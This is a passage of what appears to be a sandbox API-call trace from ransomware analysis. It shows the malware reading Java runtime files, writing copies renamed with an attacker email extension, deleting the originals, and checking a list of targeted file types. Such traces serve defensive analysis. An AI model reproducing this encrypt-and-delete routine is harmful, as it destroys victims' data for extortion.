(hObject=0x538) returned 1 [0266.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0266.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.844] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.844] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.844] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.844] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0266.845] GetLastError () returned 0x0 [0266.845] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0266.973] WriteFile (in: hFile=0x530, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0266.984] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.985] WriteFile (in: hFile=0x530, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xe4, lpOverlapped=0x0) returned 1 [0266.985] SetEndOfFile (hFile=0x530) returned 1 [0266.985] CloseHandle (hObject=0x530) returned 1 [0267.644] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.644] SetEndOfFile (hFile=0x538) returned 1 [0267.658] CloseHandle (hObject=0x538) returned 1 [0267.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0267.660] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0267.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.661] lstrlenW (lpString=".doc") returned 4 [0267.661] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0267.661] lstrlenW (lpString=".docx") returned 5 [0267.661] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0267.661] lstrlenW (lpString=".pdf") returned 4 [0267.661] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0267.661] lstrlenW (lpString=".xls") returned 4 [0267.661] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0267.661] lstrlenW (lpString=".xlsx") returned 5 [0267.661] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0267.661] lstrlenW (lpString=".ppt") returned 4 [0267.661] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0267.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.661] lstrlenW (lpString=".zip") returned 4 [0267.661] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0267.661] lstrlenW (lpString=".rar") returned 4 [0267.661] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0267.661] lstrlenW (lpString=".bz2") returned 4 [0267.662] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0267.662] lstrlenW (lpString=".7z") returned 3 [0267.662] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0267.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.662] lstrlenW (lpString=".dbf") returned 4 [0267.662] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0267.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.662] lstrlenW (lpString=".1cd") returned 4 [0267.662] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0267.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.662] lstrlenW (lpString=".jpg") returned 4 [0267.662] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0267.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.662] lstrlenW (lpString=".doc") returned 4 [0267.662] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0267.662] lstrlenW (lpString=".docx") returned 5 [0267.663] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0267.663] lstrlenW (lpString=".pdf") returned 4 [0267.663] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0267.663] lstrlenW (lpString=".xls") returned 4 [0267.663] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0267.663] lstrlenW (lpString=".xlsx") returned 5 [0267.663] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0267.663] lstrlenW (lpString=".ppt") returned 4 [0267.663] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0267.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.663] lstrlenW (lpString=".zip") returned 4 [0267.663] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0267.663] lstrlenW (lpString=".rar") returned 4 [0267.663] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0267.664] lstrlenW (lpString=".bz2") returned 4 [0267.664] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0267.664] lstrlenW (lpString=".7z") returned 3 [0267.664] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0267.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.664] lstrlenW (lpString=".dbf") returned 4 [0267.665] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0267.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.665] lstrlenW (lpString=".1cd") returned 4 [0267.665] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0267.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0267.665] lstrlenW (lpString=".jpg") returned 4 [0267.665] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0267.665] lstrcmpiW (lpString1=".template", lpString2=".carcn") returned 1 [0267.665] lstrlenW (lpString="snmp.acl.template") returned 17 [0267.665] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0267.667] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=3376) returned 1 [0267.667] CloseHandle (hObject=0x544) returned 1 [0267.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0267.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.668] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0267.668] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.668] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.668] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0267.669] GetLastError () returned 0x0 [0267.669] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0xd30, lpOverlapped=0x0) returned 1 [0267.688] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xd40, lpOverlapped=0x0) returned 1 [0267.689] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.689] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xf6, lpOverlapped=0x0) returned 1 [0267.689] SetEndOfFile (hFile=0x540) returned 1 [0267.690] CloseHandle (hObject=0x540) returned 1 [0267.693] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.693] SetEndOfFile (hFile=0x544) returned 1 [0267.697] CloseHandle (hObject=0x544) returned 1 [0267.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0267.697] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0267.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.698] lstrlenW (lpString=".doc") returned 4 [0267.698] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0267.699] lstrlenW (lpString=".docx") returned 5 [0267.699] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0267.699] lstrlenW (lpString=".pdf") returned 4 [0267.699] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0267.699] lstrlenW (lpString=".xls") returned 4 [0267.699] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0267.699] lstrlenW (lpString=".xlsx") returned 5 [0267.699] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0267.699] lstrlenW (lpString=".ppt") returned 4 [0267.699] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0267.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.699] lstrlenW (lpString=".zip") returned 4 [0267.699] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0267.699] lstrlenW (lpString=".rar") returned 4 [0267.699] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0267.699] lstrlenW (lpString=".bz2") returned 4 [0267.699] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0267.699] lstrlenW (lpString=".7z") returned 3 [0267.699] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0267.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.699] lstrlenW (lpString=".dbf") returned 4 [0267.699] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0267.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.700] lstrlenW (lpString=".1cd") returned 4 [0267.700] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0267.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.700] lstrlenW (lpString=".jpg") returned 4 [0267.700] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0267.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.700] lstrlenW (lpString=".doc") returned 4 [0267.700] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0267.700] lstrlenW (lpString=".docx") returned 5 [0267.700] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0267.700] lstrlenW (lpString=".pdf") returned 4 [0267.700] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0267.700] lstrlenW (lpString=".xls") returned 4 [0267.700] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0267.700] lstrlenW (lpString=".xlsx") returned 5 [0267.700] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0267.700] lstrlenW (lpString=".ppt") returned 4 [0267.700] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0267.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.700] lstrlenW (lpString=".zip") returned 4 [0267.700] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0267.701] lstrlenW (lpString=".rar") returned 4 [0267.701] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0267.701] lstrlenW (lpString=".bz2") returned 4 [0267.701] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0267.701] lstrlenW (lpString=".7z") returned 3 [0267.701] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0267.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.701] lstrlenW (lpString=".dbf") returned 4 [0267.701] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0267.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.701] lstrlenW (lpString=".1cd") returned 4 [0267.701] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0267.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0267.701] lstrlenW (lpString=".jpg") returned 4 [0267.701] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0267.701] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0267.702] lstrlenW (lpString="management-agent.jar") returned 20 [0267.702] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0267.702] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=381) returned 1 [0267.702] CloseHandle (hObject=0x544) returned 1 [0267.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0267.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.703] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0267.703] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.704] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.704] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0267.704] GetLastError () returned 0x0 [0267.704] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x17d, lpOverlapped=0x0) returned 1 [0268.019] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x180, lpOverlapped=0x0) returned 1 [0268.020] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.020] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xfc, lpOverlapped=0x0) returned 1 [0268.021] SetEndOfFile (hFile=0x540) returned 1 [0268.021] CloseHandle (hObject=0x540) returned 1 [0268.029] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.029] SetEndOfFile (hFile=0x544) returned 1 [0268.032] CloseHandle (hObject=0x544) returned 1 [0268.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0268.033] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0268.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.034] lstrlenW (lpString=".doc") returned 4 [0268.034] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0268.034] lstrlenW (lpString=".docx") returned 5 [0268.034] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0268.034] lstrlenW (lpString=".pdf") returned 4 [0268.034] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0268.034] lstrlenW (lpString=".xls") returned 4 [0268.034] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0268.034] lstrlenW (lpString=".xlsx") returned 5 [0268.034] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0268.034] lstrlenW (lpString=".ppt") returned 4 [0268.034] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0268.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.034] lstrlenW (lpString=".zip") returned 4 [0268.034] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0268.034] lstrlenW (lpString=".rar") returned 4 [0268.034] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0268.034] lstrlenW (lpString=".bz2") returned 4 [0268.034] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0268.034] lstrlenW (lpString=".7z") returned 3 [0268.034] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0268.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.035] lstrlenW (lpString=".dbf") returned 4 [0268.035] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0268.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.035] lstrlenW (lpString=".1cd") returned 4 [0268.035] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0268.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.035] lstrlenW (lpString=".jpg") returned 4 [0268.035] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0268.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.035] lstrlenW (lpString=".doc") returned 4 [0268.035] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0268.035] lstrlenW (lpString=".docx") returned 5 [0268.035] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0268.035] lstrlenW (lpString=".pdf") returned 4 [0268.035] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0268.035] lstrlenW (lpString=".xls") returned 4 [0268.035] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0268.035] lstrlenW (lpString=".xlsx") returned 5 [0268.035] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0268.035] lstrlenW (lpString=".ppt") returned 4 [0268.035] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0268.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.035] lstrlenW (lpString=".zip") returned 4 [0268.035] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0268.036] lstrlenW (lpString=".rar") returned 4 [0268.036] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0268.036] lstrlenW (lpString=".bz2") returned 4 [0268.036] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0268.036] lstrlenW (lpString=".7z") returned 3 [0268.036] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0268.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.036] lstrlenW (lpString=".dbf") returned 4 [0268.036] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0268.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.036] lstrlenW (lpString=".1cd") returned 4 [0268.036] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0268.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0268.036] lstrlenW (lpString=".jpg") returned 4 [0268.036] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0268.036] lstrcmpiW (lpString1=".ja", lpString2=".carcn") returned 1 [0268.036] lstrlenW (lpString="psfont.properties.ja") returned 20 [0268.036] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0268.037] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=2796) returned 1 [0268.038] CloseHandle (hObject=0x544) returned 1 [0268.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0268.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.038] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0268.038] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.038] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.038] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0268.039] GetLastError () returned 0x0 [0268.039] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, 